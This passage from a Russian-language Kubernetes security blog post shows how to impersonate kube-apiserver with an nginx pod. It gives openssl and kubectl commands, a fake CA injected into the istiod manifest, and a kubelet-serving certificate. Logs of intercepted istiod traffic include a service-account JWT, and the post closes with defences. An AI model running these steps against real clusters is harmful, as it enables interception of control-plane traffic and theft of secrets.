По сути, это nginx-сервер с сертификатами, который будет выдавать себя за kube-apiserver, логировать и перенаправлять все входящие запросы в настоящий kube-apiserver.

Пробуем подсунуть свой CA

Тут нужно менять манифест сервиса, которому мы хотим навредить, и прописать туда свой CA сертификат вместо того, который берется из ConfigMap kube-root-ca.crt. Напомню, что это требует от нас доступа к манифесту Pod, а не просто перезапуска Pod. Давайте попробуем.

Создаем свой CA и записываем его в ConfigMap:

# Генерируем CA-ключ
openssl genrsa -out ca.key 4096

# Создаем сам самоподписанный CA cертификат
openssl req -x509 -new -nodes -key ca.key -sha256 -days 3650 -out ca.crt -subj "/CN=MyCustomCA"

# Грузим в ConfigMap в istio-system
kubectl create configmap fake-kube-root-ca.crt --from-file=ca.crt=ca.crt -n istio-system

 Создаем ключ и сертификат для сервера:

# Создаем приватный ключ для сервера
openssl genrsa -out server.key 2048

# Создаем conf для CSR (в SAN.IP указываем ClusterIP нашего Service)
cat <<EOF > csr.conf
[req]
req_extensions = v3_req
distinguished_name = dn
[dn]
CN = kubernetes
[v3_req]
subjectAltName = @alt_names
[alt_names]
DNS.1 = kubernetes
DNS.2 = localhost
IP.1 = 10.254.102.254
EOF

# Создаем CSR
openssl req -new -key server.key -out server.csr -config csr.conf -subj "/CN=kubernetes"

# Подписываем наш CSR
openssl x509 -req -in server.csr \
  -CA ca.crt -CAkey ca.key -CAcreateserial \
  -out server.crt -days 825 -sha256 \
  -extfile csr.conf -extensions v3_req

# Грузим в Secret в istio-system
kubectl create secret -n istio-system tls my-server-tls \
  --cert=server.crt \
  --key=server.key

 Запускаем наш nginx:

2026/05/07 13:42:10 [notice] 6#6: using the "epoll" event method
2026/05/07 13:42:10 [notice] 6#6: nginx/1.29.8
2026/05/07 13:42:10 [notice] 6#6: built by gcc 15.2.0 (Alpine 15.2.0)
2026/05/07 13:42:10 [notice] 6#6: OS: Linux 5.14.0-427.42.1.el9_4.x86_64
2026/05/07 13:42:10 [notice] 6#6: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2026/05/07 13:42:10 [notice] 6#6: start worker processes
2026/05/07 13:42:10 [notice] 6#6: start worker process 7

Чтобы подсунуть свой CA в Deployment istiod, нужно:

  1. Задать automountServiceAccountToken = false.

  2. Самим сделать projected service account token, где указать ConfigMap с фейковым CA.

Пример:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: istiod
  namespace: istio-system
  ...
spec:
  ...
  template:
    ...
    spec:
      automountServiceAccountToken: false
      volumes:
        ...
        - name: sa-token
          projected:
            sources:
              - serviceAccountToken:
                  expirationSeconds: 3600
                  path: token
              - configMap:
                  name: fake-kube-root-ca.crt
                  items:
                    - key: ca.crt
                      path: ca.crt
              - downwardAPI:
                  items:
                    - path: namespace
                      fieldRef:
                        apiVersion: v1
                        fieldPath: metadata.namespace
            defaultMode: 420
      containers:
        - name: discovery
          ...
          volumeMounts:
            - name: sa-token
              readOnly: true
              mountPath: /var/run/secrets/kubernetes.io/serviceaccount

Запускаем istiod. Его статус Running, значит все его клиенты и контроллеры запустились. Давайте посмотрим логи фейкового kube-apiserver:

10.100.36.85 - - [07/May/2026:13:44:39 +0000] "GET /api/v1/namespaces/istio-system/secrets/istio-ca-secret HTTP/1.1" 200 4309 "-" "pilot-discovery/1.29.1" body: "-"

10.100.36.85 - - [07/May/2026:13:44:39 +0000] "PUT /api/v1/namespaces/istio-system/configmaps/istio-ip-autoallocate HTTP/1.1" 200 514 "-" "pilot-discovery/1.29.1" body: "{\x22kind\x22:\x22ConfigMap\x22,\x22apiVersion\x22:\x22v1\x22,\x22metadata\x22:{\x22name\x22:\x22istio-ip-autoallocate\x22,\x22namespace\x22:\x22istio-system\x22,\x22uid\x22:\x222413f518-b593-4478-ba84-01b1e9d26073\x22,\x22resourceVersion\x22:\x2213022654\x22,\x22creationTimestamp\x22:\x222026-04-10T16:43:25Z\x22,\x22annotations\x22:{\x22control-plane.alpha.kubernetes.io/leader\x22:\x22{\x5C\x22holderIdentity\x5C\x22:\x5C\x22istiod-647c5887c6-2lln9\x5C\x22,\x5C\x22holderKey\x5C\x22:\x5C\x22default\x5C\x22,\x5C\x22leaseDurationSeconds\x5C\x22:30,\x5C\x22acquireTime\x5C\x22:\x5C\x222026-05-07T13:44:39Z\x5C\x22,\x5C\x22renewTime\x5C\x22:\x5C\x222026-05-07T13:44:39Z\x5C\x22,\x5C\x22leaderTransitions\x5C\x22:9}\x22},\x22managedFields\x22:[{\x22manager\x22:\x22pilot-discovery\x22,\x22operation\x22:\x22Update\x22,\x22apiVersion\x22:\x22v1\x22,\x22time\x22:\x222026-05-07T11:51:33Z\x22,\x22fieldsType\x22:\x22FieldsV1\x22,\x22fieldsV1\x22:{\x22f:metadata\x22:{\x22f:annotations\x22:{\x22.\x22:{},\x22f:control-plane.alpha.kubernetes.io/leader\x22:{}}}}}]}}\x0A"

10.100.36.85 - - [07/May/2026:13:44:39 +0000] "GET /api/v1/namespaces/istio-system/configmaps/istio-ip-autoallocate HTTP/1.1" 200 514 "-" "pilot-discovery/1.29.1" body: "-"

10.100.36.85 - - [07/May/2026:13:44:39 +0000] "PUT /apis/coordination.k8s.io/v1/namespaces/istio-system/leases/istio-gateway-deployment-default HTTP/1.1" 200 419 "-" "pilot-discovery/1.29.1" body: "{\x22kind\x22:\x22Lease\x22,\x22apiVersion\x22:\x22coordination.k8s.io/v1\x22,\x22metadata\x22:{\x22name\x22:\x22istio-gateway-deployment-default\x22,\x22namespace\x22:\x22istio-system\x22,\x22uid\x22:\x229e521a63-13b1-4d3c-977a-0af38c5809d8\x22,\x22resourceVersion\x22:\x2213022653\x22,\x22creationTimestamp\x22:\x222026-04-10T16:43:25Z\x22,\x22managedFields\x22:[{\x22manager\x22:\x22pilot-discovery\x22,\x22operation\x22:\x22Update\x22,\x22apiVersion\x22:\x22coordination.k8s.io/v1\x22,\x22time\x22:\x222026-05-07T11:51:33Z\x22,\x22fieldsType\x22:\x22FieldsV1\x22,\x22fieldsV1\x22:{\x22f:spec\x22:{\x22f:acquireTime\x22:{},\x22f:holderIdentity\x22:{},\x22f:leaseDurationSeconds\x22:{},\x22f:leaseTransitions\x22:{},\x22f:renewTime\x22:{}}}}]},\x22spec\x22:{\x22holderIdentity\x22:\x22istiod-647c5887c6-2lln9\x22,\x22leaseDurationSeconds\x22:30,\x22acquireTime\x22:\x222026-05-07T13:44:39.513744Z\x22,\x22renewTime\x22:\x222026-05-07T13:44:39.513744Z\x22,\x22leaseTransitions\x22:9}}\x0A"

И у нас получилось. То есть теперь весь трафик с istiod, предназначенный для kube-apiserver, проходит через наш Pod, в котором мы можем делать с этим трафиком все что угодно. К примеру, мы можем подсовывать в istiod фейковые EndpointSlice или подменять в них IP и выводить трафик istio-proxy sidecar на какие-то левые хосты. Или же забирать Secret, что запрашивает istiod при использовании Secret Discovery Service.

В целом подход рабочий, но нужно модифицировать атакуемый Pod, да еще и так, чтобы никто не заметил, что увеличивает требования к необходимой ролевой модели. 

Но имеет ли это смысл? Если мы можем модифицировать Pod атакуемого, то любой трафик с него мы и так сможем направлять как и куда захотим. Смысл может быть, только если Pod уже выключен automountServiceAccountToken, а подмену ConfigMap с CA сертификатом никто не заметит. К примеру, можно  создать ConfigMap с именем kube-root-ca.cr вместо kube-root-ca.crt. Как демо это забавно, но на практике маловероятно.

Подстраиваемся под имеющийся CA 

А можем ли мы выпустить серверный сертификат от того же СА, которым подписан сертификат самого kube-apiserver? Тут все немного сложнее: нужны соответствующие права.

Есть отдельная статья на эту тему. Мы можем создать приватный ключ для нашего сервера и CSR для него, а подписать его тем же CA, что и сертификат kube-apiserver. Поскольку Extended Key Usage должен включать TLS Web Server Authentication, мы можем использовать только signerName kubernetes.io/kubelet-serving. То есть по факту нам нужно выпустить сертификат, равносильный сертификату kubelet. Это, в свою очередь, также накладывает требования на CN (common name) и O (organizations), они должны быть system:node:<любая_строка> и ["system:nodes"] соответственно.

То есть мы можем выпустить CSR как будто для kubelet, подсунув туда данные нашего фейкового kube-apiserver. Но для этого потребуются права на подписание такого сертификата, ну или человек с такими правами. Реалистично? Вряд ли, но побаловаться можно.

Создаем приватный ключ и CSR для нашего nginx (помним о требовании к CN и O):

# Создаем приватный ключ для сервера
openssl genrsa -out server.key 2048

# Создаем conf для CSR (в SAN.IP указываем ClusterIP нашего Service)
cat <<EOF > csr.conf
[req]
req_extensions = v3_req
distinguished_name = dn
[dn]
CN = system:node:my-node
O = system:nodes
[v3_req]
subjectAltName = @alt_names
[alt_names]
DNS.1 = kubernetes
DNS.2 = localhost
IP.1 = 10.254.102.254
EOF

# Создаем CSR
openssl req -new -key server.key -out server.csr -config csr.conf -subj "/CN=system:node:my-node/O=system:nodes"

Засовываем его в кластер как CSR, подписываем и создаем Secret:

# Создам файл CertificateSigningRequest
cat <<EOF > csr.yaml
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: my-server-csr
spec:
  request: $(cat server.csr | base64 | tr -d '\n')
  signerName: kubernetes.io/kubelet-serving
  usages:
  - digital signature
  - key encipherment
  - server auth
EOF

# Применяем его в кластер
kubectl apply -f csr.yaml

# Выпускает сертификат
kubectl certificate approve my-server-csr  

# Скачиваем его
kubectl get csr my-server-csr -o jsonpath='{.status.certificate}' | base64 -d > server.crt

# Создаем Secret в кластере
kubectl create secret -n istio-system tls my-server-tls \
  --cert=server.crt \
  --key=server.key

Запускаем наш nginx:

2026/05/08 11:44:01 [notice] 5#5: using the "epoll" event method
2026/05/08 11:44:01 [notice] 5#5: nginx/1.29.8
2026/05/08 11:44:01 [notice] 5#5: built by gcc 15.2.0 (Alpine 15.2.0)
2026/05/08 11:44:01 [notice] 5#5: OS: Linux 5.14.0-427.42.1.el9_4.x86_64
2026/05/08 11:44:01 [notice] 5#5: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2026/05/08 11:44:01 [notice] 5#5: start worker processes
2026/05/08 11:44:01 [notice] 5#5: start worker process 6

Теперь запускаем istiod, он все так же в Running, а наш nginx перехватывает запросы:

10.100.36.86 - - [08/May/2026:11:44:57 +0000] "GET /api/v1/namespaces/istio-system/secrets/istio-ca-secret HTTP/1.1" 200 4309 "-" "pilot-discovery/1.29.1" body: "-"

10.100.36.86 - - [08/May/2026:11:44:57 +0000] "PUT /api/v1/namespaces/istio-system/configmaps/istio-ip-autoallocate HTTP/1.1" 200 515 "-" "pilot-discovery/1.29.1" body: "{\x22kind\x22:\x22ConfigMap\x22,\x22apiVersion\x22:\x22v1\x22,\x22metadata\x22:{\x22name\x22:\x22istio-ip-autoallocate\x22,\x22namespace\x22:\x22istio-system\x22,\x22uid\x22:\x222413f518-b593-4478-ba84-01b1e9d26073\x22,\x22resourceVersion\x22:\x2213279264\x22,\x22creationTimestamp\x22:\x222026-04-10T16:43:25Z\x22,\x22annotations\x22:{\x22control-plane.alpha.kubernetes.io/leader\x22:\x22{\x5C\x22holderIdentity\x5C\x22:\x5C\x22istiod-66fc586cc8-fsfqf\x5C\x22,\x5C\x22holderKey\x5C\x22:\x5C\x22default\x5C\x22,\x5C\x22leaseDurationSeconds\x5C\x22:30,\x5C\x22acquireTime\x5C\x22:\x5C\x222026-05-08T11:44:57Z\x5C\x22,\x5C\x22renewTime\x5C\x22:\x5C\x222026-05-08T11:44:57Z\x5C\x22,\x5C\x22leaderTransitions\x5C\x22:10}\x22},\x22managedFields\x22:[{\x22manager\x22:\x22pilot-discovery\x22,\x22operation\x22:\x22Update\x22,\x22apiVersion\x22:\x22v1\x22,\x22time\x22:\x222026-05-08T11:29:35Z\x22,\x22fieldsType\x22:\x22FieldsV1\x22,\x22fieldsV1\x22:{\x22f:metadata\x22:{\x22f:annotations\x22:{\x22.\x22:{},\x22f:control-plane.alpha.kubernetes.io/leader\x22:{}}}}}]}}\x0A"

10.100.36.86 - - [08/May/2026:11:45:10 +0000] "POST /apis/authentication.k8s.io/v1/tokenreviews HTTP/1.1" 201 1906 "-" "pilot-discovery/1.29.1" body: "{\x22kind\x22:\x22TokenReview\x22,\x22apiVersion\x22:\x22authentication.k8s.io/v1\x22,\x22metadata\x22:{},\x22spec\x22:{\x22token\x22:\x22eyJhbGciOiJSUzI1NiIsImtpZCI6InNPZnhFaFZpQVp6U0haTlQ1aW9ZZEVHWHlESkhXeDFwUkpXTTJxWWJKcU0ifQ.eyJhdWQiOlsiaXN0aW8tY2EiXSwiZXhwIjoxNzc4MjY3NjU4LCJpYXQiOjE3NzgyMjQ0NTgsImlzcyI6Imh0dHBzOi8vMTAuMC4wLjk6NjQ0MyIsImp0aSI6IjVmMzNhNjkzLTljYTYtNDRkYi1iNWE4LTMxNGY2N2FhY2FlZSIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiaXN0aW8tdGVzdCIsIm5vZGUiOnsibmFtZSI6Im5ldy1oYWJyLXRlc3QtZGVmYXVsdC1ncm91cC0yIiwidWlkIjoiNmJjYWE1OGMtYzEyNy00NmVjLTgxMDItYmY5YjllNDhlZGJkIn0sInBvZCI6eyJuYW1lIjoibmdpbngtZGVwbG95bWVudC02OGNmNTc0YzY3LWhoNWc2IiwidWlkIjoiNWU1OGY3NjYtMmI4YS00M2JkLTk0OTEtMDllMDA0M2MxMjc5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiZDllMGVlYjAtNDRhYS00ZjNlLTgyZDMtMDlkMjEzNTdjMjJkIn19LCJuYmYiOjE3NzgyMjQ0NTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDppc3Rpby10ZXN0OmRlZmF1bHQifQ.NI6xBbPdky1dUF5U75PPydv5-KY4tlIR0NdcFT5Tn5qabXPRvY_8MV-8NWEJNBjSxnulgFPrrR-lWfJfEMuMo9Er6VSXNK5hQHOwexQcPBiXECGh1WPxUI6V6LKzrL08xe3jfdwAOCE4eNqcVWaoZ4WOqauUmy2Dwiz1YtncvY09JrhF6IPc8nHVZ6cpomTqJ_D286EsqI7MYj4GTBRaxvth52dJ6d4LZjEtYN9XnTdBSqc6yPIG1WtTO1CVPPfxESs41HSzrNJVkiV_OUWGTuJXpmuRu8rxbZnbZcf2EWZFMB2O7KZhx_weGIaFB004-ciPX2EfpBo-ff4_FR4DsA\x22,\x22audiences\x22:[\x22istio-ca\x22]},\x22status\x22:{\x22user\x22:{}}}\x0A"

Получается, шалость удалась — косплей kube-apiserver возможен. Но главная наша проблема — CA. Чтобы обойти ее, нам нужно иметь возможность или подсунуть свой CA, или выпустить сертификат под фейковый сервер. Обнаружить такие хитрости может быть сложно, поэтому рассмотрим способы защиты сразу от всех найденных нами «дыр».

Способы защиты

Защита от перегрузки количеством env:

  • Задать enableServiceLinks = false в Pod.

  • Ограничить максимальное количество Service и портов в них с помощью ResourceQuota, Admission Policy и admission-контроллеров.

Защита от неявных env:

  • Задать enableServiceLinks = false в Pod.

  • Явно задавать переменные окружения (env) в Pod.

  • Ограничить имена Service: запретить создание сервисов с критичными именами (например, server, proxy, database) в зависимости от целевого сервиса — через Admission Policy и admission-контроллеры.

Защита от подмены адреса и косплея kube-apiserver для InCluster-сервисов:

  • Задать enableServiceLinks = false. В этом случае для InCluster-конфигурации адрес kube-apiserver все равно будет подставляться, но уже без возможности подмены.

  • Запретить удаление и изменение Service с именем kubernetes в namespace default — через ролевую модель и admission-контроллеры.

  • Запретить создание Service с именем kubernetes во всех namespace, кроме default — через Admission Policy и admission-контроллеры.

Заключение

Является ли все описанное здесь «преступлением века»? Конечно, нет. В худшем случае можно осложнить жизнь отдельному Pod или сервису, а в теории — даже затронуть уровень кластера. Однако набор условий, необходимых для реализации всех этих сценариев, довольно узкий и специфичный.

В итоге у нас получилось небольшое исследование одной особенности Kubernetes, о которой редко вспоминают, но которая может стать источником проблем. Мы разобрали, как Service влияет на переменные окружения Pod, а также как клиенты и контроллеры внутри кластера взаимодействуют с kube-apiserver. Понимание этих механизмов дает более целостное представление о работе Kubernetes, его потенциальных точках отказа и способах защиты. Как говорится, предупрежден — значит вооружен.

Комментарии (0)